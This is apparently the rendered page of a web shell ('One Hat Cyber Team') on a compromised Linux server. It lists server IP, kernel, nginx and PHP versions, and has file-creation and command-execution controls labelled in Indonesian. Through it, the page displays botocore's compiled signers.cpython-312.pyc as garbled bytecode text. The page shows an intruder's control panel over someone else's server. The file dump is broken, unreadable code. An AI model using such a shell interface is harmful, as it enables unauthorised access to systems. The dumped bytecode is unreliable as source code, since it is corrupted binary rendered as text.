⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
botocore
/
__pycache__
/
View File Name :
signers.cpython-312.pyc
Pew d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZmZ d dl m Z d dlmZm Z mZ d dlmZmZ d dlmZ G d d Z G d d Zd ZddZ G d d Zd Z ddZd Z ddZd Zy) N)create_request_objectprepare_request_dict)OrderedDict)UnknownClientMethodErrorUnknownSignatureVersionError UnsupportedSignatureVersionError) ArnParserdatetime2timestamp)fix_s3_hostc e Zd ZdZ d dZed Zed Zed ZddZ ddZ d Zd Z d dZ e Z ddZy) RequestSignera0 An object to sign requests before they go out over the wire using one of the authentication mechanisms defined in ``auth.py``. This class fires two events scoped to a service and operation name: * choose-signer: Allows overriding the auth signer name. * before-sign: Allows mutating the request before signing. Together these events allow for customization of the request signing pipeline, including overrides, request path manipulation, and disabling signing per operation. :type service_id: botocore.model.ServiceId :param service_id: The service id for the service, e.g. ``S3`` :type region_name: string :param region_name: Name of the service region, e.g. ``us-east-1`` :type signing_name: string :param signing_name: Service signing name. This is usually the same as the service name, but can differ. E.g. ``emr`` vs. ``elasticmapreduce``. :type signature_version: string :param signature_version: Signature name like ``v4``. :type credentials: :py:class:`~botocore.credentials.Credentials` :param credentials: User credentials with which to sign requests. :type event_emitter: :py:class:`~botocore.hooks.BaseEventHooks` :param event_emitter: Extension mechanism to fire events. Nc || _ || _ || _ || _ || _ || _ t j | | _ y N) _region_name _signing_name_signature_version_credentials_auth_token_service_idweakrefproxy_event_emitter)self service_idregion_namesigning_namesignature_versioncredentials event_emitter auth_tokens 2/usr/lib/python3/dist-packages/botocore/signers.py__init__zRequestSigner.__init__D sG ()"3'%% &mmM: c | j S r )r r s r! r zRequestSigner.region_nameX s r# c | j S r )r r% s r! r zRequestSigner.signature_version\ s &&&r# c | j S r )r r% s r! r zRequestSigner.signing_name` s !!!r# c &